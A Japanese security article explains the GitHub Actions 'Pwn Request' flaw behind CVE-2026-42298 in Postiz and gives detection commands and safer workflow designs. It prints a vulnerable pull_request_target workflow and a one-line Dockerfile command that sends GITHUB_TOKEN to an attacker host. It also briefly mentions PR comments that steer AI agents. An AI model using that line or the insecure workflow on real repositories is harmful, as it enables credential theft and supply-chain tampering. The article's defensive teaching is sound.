GitHubでOSSにコントリビュートするには「フォーク → PRを開く」だけでいい。それはオープンソース文化の根幹だ。しかし、2026年5月に公開されたCVE-2026-42298(CVSS10.0)が示したのは、その「誰でもPRを開ける」という仕組みが、GitHub Actionsの設計ミスと組み合わさったとき、ベースリポジトリの認証情報をごっそり盗む武器に変わるという現実だ。

被害を受けたのはAIソーシャルメディアスケジューラーの「Postiz」。問題は.github/workflows/pr-docker-build.ymlに書かれたpull_request_targetトリガーのたった1行から始まった。

サプライチェーン全体のセキュリティ対策はサプライチェーンセキュリティ2026|攻撃手法・防御ツール・実践チェックリストをご覧ください。

対象読者
・GitHub ActionsでCI/CDを運用しているエンジニア・DevSecOpsチーム。
・OSSリポジトリのメンテナー。フォークからPRを受け付ける運用をしている方。
・フォーク由来のPRを自動ビルドするワークフローを持つすべての組織。

1. pull_request_targetとは何か:設計の背景と「特権コンテキスト」の意味

GitHub Actionsには、プルリクエストを契機に動くトリガーが2種類ある。pull_requestpull_request_targetだ。名前は似ているが、セキュリティ上の動作は根本的に異なる

pull_requestは、フォークからPRが来たとき「フォークのコンテキスト」で動作する。シークレットへのアクセスは原則なし、GITHUB_TOKENの権限も読み取り専用に制限される。攻撃者がフォーク上でコードを変更しても、そのコードが触れる権限は最小限だ。

pull_request_targetは逆の設計だ。名前の通り「target(ベースリポジトリ)のコンテキスト」で動作する。ワークフローファイルはベースリポジトリのデフォルトブランチから読み込まれ、GITHUB_TOKENはベースリポジトリに対する書き込み権限付きで発行される。シークレットにもアクセス可能だ。

この「特権コンテキスト」は、なぜ必要だったのか。答えは「フォークPRにコメントを投稿する」ユースケースにある。

フォークからPRが来たとき、CIがPRにテスト結果をコメントしたい——これは自然な要求だ。しかし通常のpull_requestトリガーではGITHUB_TOKENの書き込み権限が制限されるため、コメントの投稿ができない。そこでGitHubはpull_request_targetを用意した。ベースリポジトリの権限で動くため、PRへのコメント投稿や、ラベルの付与、ステータスチェックの更新が可能になる。

しかし、この「ベースリポジトリ権限で動く」という性質が、フォーク由来の信頼できないコードを実行した瞬間に致命傷になる。


2. なぜpull_request_targetは「蜜の罠」なのか:pull_requestとの根本的違い

2つのトリガーの違いを表にまとめる。

比較項目 pull_request pull_request_target
実行コンテキスト フォーク(PR head) ベースリポジトリ(base)
ワークフローファイルの取得元 PRのブランチ ベースのデフォルトブランチ
GITHUB_TOKEN権限 読み取り専用(フォークPR時) 書き込み可能
シークレットへのアクセス 不可(フォークPR時) 可能
フォークコードのチェックアウト 安全(権限が限定) 危険(特権で実行)
典型的な用途 ビルド・テスト・リント PRへのコメント・ラベル付け

問題の本質は「ワークフローファイルはベースから取るが、チェックアウトするコードはPR headから取れる」という構造にある。

危険なパターンを見てみよう。

# 危険なワークフロー例
on:
  pull_request_target:  # ← 特権コンテキストで動作
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: $  # ← フォークのコードを取得
      - run: docker build -f Dockerfile.dev .  # ← 信頼できないコードを実行!

pull_request_targetで動作しているため、このジョブはGITHUB_TOKEN(書き込み付き)とシークレットにアクセスできる。しかしactions/checkoutrefをPR headのSHAに指定しているため、フォーク上の攻撃者が変更したファイルを取得して実行するDockerfile.devにコマンドを1行追加するだけで、その実行環境からGITHUB_TOKENを抜き出せる。

GitHub Security Labはこのパターンを「Pwn Request(プウンリクエスト)」と命名し、2021年から繰り返し警告してきた。それでも2026年になっても被害事例は続いている。


3. CVE-2026-42298の実態:Postizで発生したCVSS10.0の認証情報漏洩

CVE-2026-42298は2026年5月8日に公開された。対象はAI ソーシャルメディアスケジューリングツール「Postiz」の公開リポジトリ。CVSSスコアは10.0(最高値)だ。

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

スコアの各要素を読み解くと深刻さが分かる。

  • AV:N(ネットワーク経由) — インターネット越しに攻撃可能。
  • AC:L(攻撃複雑度:低) — 特別な条件や知識は不要。
  • PR:N(必要な権限:なし) — GitHubアカウントさえあれば攻撃できる。
  • UI:N(ユーザー操作:不要) — PRを開くだけ。レビュアーの承認も不要。
  • S:C(スコープ変更あり) — 影響はリポジトリ単体を超える可能性。
  • C:H/I:H/A:H — 機密性・完全性・可用性すべてに対して高い影響。

問題のワークフロー.github/workflows/pr-docker-build.ymlは「PR Docker Imageビルド」という名前のものだ。フォークからPRが来たときに自動的にDockerイメージをビルドして公開するパイプラインで、CIの典型的なユースケースに見える。

しかしこのワークフローはpull_request_targetを使用しており、かつDockerfile.dev(PRのブランチから取得)をビルドしていた。攻撃者がDockerfile.devに次のような1行を追加するだけで終わりだ。

# 攻撃者が追加する行(Dockerfile.devに1行)
RUN curl -s https://attacker.example.com/collect?token=$GITHUB_TOKEN

Dockerビルド中にこのRUN命令が実行され、GITHUB_TOKEN(write-all権限)が攻撃者のサーバーに送信される。修正されたのはコミットda44801で、ワークフローをpull_requestトリガーに変更し、特権コンテキストでのフォークコード実行を排除した。


4. 攻撃シナリオを追う:フォークPRがどうGITHUB_TOKENを盗むか

攻撃の全体フローを図で示す。

sequenceDiagram participant A as 攻撃者 participant GH as GitHub participant WF as GitHub Actions Workflow participant BI as Dockerビルダー participant SV as 攻撃者サーバー A->>GH: Postizをフォーク A->>A: Dockerfile.devに悪意あるRUN命令を追加 A->>GH: フォークからPRを開く GH->>WF: pull_request_targetイベント発火 Note over WF: GITHUB_TOKEN write-all
シークレットが利用可能 WF->>GH: actions/checkout でPR head SHAを取得 WF->>BI: docker build を実行 BI->>SV: curl でGITHUB_TOKEN送信 Note over SV: 攻撃者が書き込み権限の
トークンを取得 SV-->>A: トークン受取完了 A->>GH: 盗んだトークンでコード改ざん

攻撃者が盗んだGITHUB_TOKEN(write-all)でできることを挙げると:

  • mainブランチへの直接プッシュ — コードにバックドアを埋め込む。
  • リリースの作成・上書き — npmパッケージやGitHub Releasesを汚染する。
  • Actionsシークレットの書き換え — 後続の攻撃に使うシークレットを仕込む。
  • 全コラボレーターの列挙 — 組織の構成情報を取得する。
  • PRのマージ — 他の悪意あるPRを承認する。

注目すべきは「ユーザー操作が不要」な点だ。PRを開いた瞬間、ワークフローは自動で走る。レビュアーが気づく前に攻撃は完了している。

また、CI環境のGITHUB_TOKENが漏れた場合、過去のRenovate・Dependabotを悪用したサプライチェーン攻撃と同様、依存関係への波及リスクが高い。


5. 自分のリポジトリで同じパターンがないか確認する方法

危険なパターンは「pull_request_targetを使いながら、PRのコードをチェックアウトして実行する」という組み合わせだ。以下の手順で確認できる。

Step 1:pull_request_targetを使うワークフローを列挙する

# ローカルリポジトリで確認
grep -rl "pull_request_target" .github/workflows/

# GitHub CLI でリモートも含めて確認(要gh auth login)
gh api repos/{owner}/{repo}/contents/.github/workflows \
  --jq '.[].name' | xargs -I{} sh -c \
  'gh api repos/{owner}/{repo}/contents/.github/workflows/{} --jq .content | base64 -d | grep -l pull_request_target && echo {}'

Step 2:チェックアウト時にPR headを参照していないか確認する

# pull_request_targetワークフロー内で危険なcheckoutパターンを検索
grep -A5 "pull_request_target" .github/workflows/*.yml | \
  grep -E "ref.*pull_request.head|ref.*github.head_ref"

以下のいずれかのパターンがあれば危険だ。

# 危険パターン1:PR headのSHAを直接指定
- uses: actions/checkout@v4
  with:
    ref: $

# 危険パターン2:PR headのブランチ名を指定
- uses: actions/checkout@v4
  with:
    ref: $

# 危険パターン3:refを指定しないcheckout(デフォルトでPR headになる場合あり)
- uses: actions/checkout@v4
  # ref未指定のままpull_request_target内で使用

Step 3:GITHUB_TOKENの権限を確認する

# ワークフロー冒頭またはジョブ単位でpermissionsが設定されているか確認
# 設定がない場合、リポジトリ設定のデフォルト権限が適用される
permissions:
  contents: read   # 最小権限の例
  pull-requests: write  # コメント投稿に必要な権限のみ

Step 4:CodeQLでスキャンする(GitHub Advanced Securityがある場合)

GitHub Security Labが提供するCodeQLクエリ(go/pwn-request系)を使えば、pull_request_target内の危険なチェックアウトパターンを静的解析で検出できる。OSSリポジトリであればGitHub Advanced SecurityはGitHub Codeによって無償で利用できる。


6. 安全なワークフロー設計のベストプラクティス

危険なパターンを潰すための設計を紹介する。優先度順に並べた。

ベストプラクティス1:pull_requestで十分ならpull_requestを使う

ビルド・テスト・リントだけならpull_requestで十分だ。フォークPRでは読み取り専用トークンで動作するため、シークレット漏洩のリスクは格段に低い。

# 安全:シンプルなビルド・テストにはpull_requestを使う
on:
  pull_request:
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        # refを指定しなければPRのブランチが取得されるが、権限は制限済み
      - run: docker build -f Dockerfile.dev .
        # トークンはread-only、シークレットは利用不可

ベストプラクティス2:pull_request + workflow_runの2段構成

「PRのコードを実行する」ジョブと「特権操作(コメント投稿等)をする」ジョブを分離するのが最も安全な構成だ。

# ステップ1:信頼できないコードを実行する(権限なし)
# .github/workflows/ci.yml
on:
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: docker build -f Dockerfile.dev .
      - name: Save PR number
        run: echo $ > pr-number.txt
      - uses: actions/upload-artifact@v4
        with:
          name: pr-context
          path: pr-number.txt
# ステップ2:信頼できる成果物を使って特権操作する
# .github/workflows/comment.yml
on:
  workflow_run:
    workflows: ["CI"]
    types: [completed]

jobs:
  comment:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: pr-context
          run-id: $
          github-token: $
      - run: |
          PR_NUMBER=$(cat pr-number.txt)
          gh pr comment $PR_NUMBER --body "CIが完了しました ✅"
        env:
          GITHUB_TOKEN: $

このパターンでは:

  • ステップ1は信頼できないPRコードを制限された権限で実行する。
  • ステップ2はステップ1の成果物(アーティファクト)だけを使い、フォークのコードには一切触れない。

ベストプラクティス3:どうしてもpull_request_targetを使う場合の最小化

ラベル付けなど、pull_request_targetが必要な場面では、PR headのコードを絶対にチェックアウトしないことが鉄則だ。

# pull_request_targetを安全に使う例(コードを実行しない)
on:
  pull_request_target:
    types: [opened]

jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      # checkoutはベースブランチのみ(PR headを取得しない)
      - uses: actions/checkout@v4
        # refを指定しなければデフォルトブランチが取得される
      - name: Add label
        run: |
          gh pr edit $ --add-label "needs-review"
        env:
          GITHUB_TOKEN: $

ベストプラクティス4:GITHUB_TOKENの権限を最小化する

write-allは危険だ。必要な権限だけをジョブ単位で宣言する。

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read       # コード読み取りのみ
      packages: write      # パッケージ公開が必要な場合のみ追加
      pull-requests: write # コメント投稿が必要な場合のみ追加
      # 上記以外は暗黙的にnone

ベストプラクティス5:フォークからのPRに承認ゲートを設ける

GitHub ActionsではEnvironmentを使って「必須レビュアーが承認した場合のみワークフローを実行」という制御ができる。

jobs:
  build-pr:
    runs-on: ubuntu-latest
    environment: pr-builds  # Environmentで保護
    steps:
      - uses: actions/checkout@v4
        with:
          ref: $
      - run: docker build -f Dockerfile.dev .

pr-builds Environmentに「Required reviewers」を設定すれば、初めてコントリビュートする外部ユーザーからのPRは、指定したレビュアーが承認するまでワークフローが実行されない。


7. GitHub自身の対応:2025年11月のpull_request_target変更

GitHubは2025年11月7日、pull_request_targetのデフォルト動作を変更すると発表した。2025年12月8日から段階的に適用されている。

変更の要点:

  • pull_request_targetのワークフローファイルは常にデフォルトブランチから取得される。以前はベースブランチから取得されていたため、古いブランチに脆弱なワークフローが残っている場合でも実行されていた。
  • GITHUB_REFGITHUB_SHAがPR headではなく実行時の参照(デフォルトブランチ)に変更された。

この変更により、一部の攻撃パターン(古いブランチの脆弱なワークフロー利用)は難しくなった。しかし「pull_request_targetでフォークコードをチェックアウトして実行する」という根本的な危険パターンは残る。ワークフローファイル自体が危険なパターンを含む場合、この変更では保護できない。


8. pull_request_target被害の広がり:Postizだけじゃない

pull_request_targetの悪用事例は、Postiz(CVE-2026-42298)だけではない。

リポジトリ 発覚時期 影響
spotipy(Spotify公式Pythonクライアント) 2025年 シークレット全漏洩・トークン漏洩
timescale/pgai(PostgreSQL AI拡張) 2025年 GITHUB_TOKENを持つワークフロー実行
eigent-ai/eigent(AIエージェントフレームワーク) 2026年 任意コード実行・シークレット漏洩
MITRE・Splunk等(Sysdig調査) 2025年 複数の大手組織でpwn requestパターン確認

Orca Securityの調査「pull_request_nightmare」(2025-2026年)では、Microsoft・Google・NVIDIA等の大手企業のリポジトリでも同様のパターンが確認されており、問題は一部のOSSに限らない。「単一の設定誤りがサプライチェーン全体を危険にさらす」という評価は、この調査でも繰り返し強調されている。

GitHubのComment and Control攻撃では、PRコメントに埋め込んだ命令でAIエージェントを操るパターンが確認されているが、GitHub ActionsのPRコメントを悪用したプロンプトインジェクション攻撃と組み合わされると被害は複合的になる。


9. セキュリティチェックリスト:今すぐ確認すべき5項目

防御側が今すぐ確認すべきチェックリスト ・`pull_request_target`を使うワークフローが存在するか確認する(`grep -rl "pull_request_target" .github/workflows/`)。
・そのワークフロー内でフォーク由来のコードをチェックアウトして実行していないか確認する。
・`GITHUB_TOKEN`の権限を`write-all`や`contents: write`に広く設定していないか見直す。
・CodeQL(`Actions`セキュリティスキャン)でpwn requestパターンを静的解析する。
・外部コントリビューターのPRには承認ゲート(Environment + Required reviewers)を設ける。

まとめ:設計意図を理解して初めて守れる

pull_request_targetは「フォークPRにコメントを投稿する」という正当なユースケースのために設計された。しかしその「ベースリポジトリの特権で動く」という性質が、フォーク由来のコードを実行した瞬間に凶器に変わる。

CVE-2026-42298は、この設計上の落とし穴が2026年になっても繰り返し悪用されていることを示す事例だ。CVSS10.0という最高スコアが示すように、攻撃は単純で、要求するスキルも認証情報も不要だ。フォークしてDockerfile.devを1行変更し、PRを開く——それだけで成立する。

防御は難しくない。ビルド・テストにはpull_requestを使う。特権操作が必要ならworkflow_runで分離する。どうしてもpull_request_targetを使うなら、フォークのコードには一切触れない設計にする。GITHUB_TOKENの権限は必要最小限に絞る。この4原則を徹底すれば、Pwn Requestの大部分は防げる。

「CIが自動でPRをビルドしてくれる」という利便性の裏に、どんなリスクが潜んでいるか——今回の事例はその問いを改めて突きつけている。

参照ソース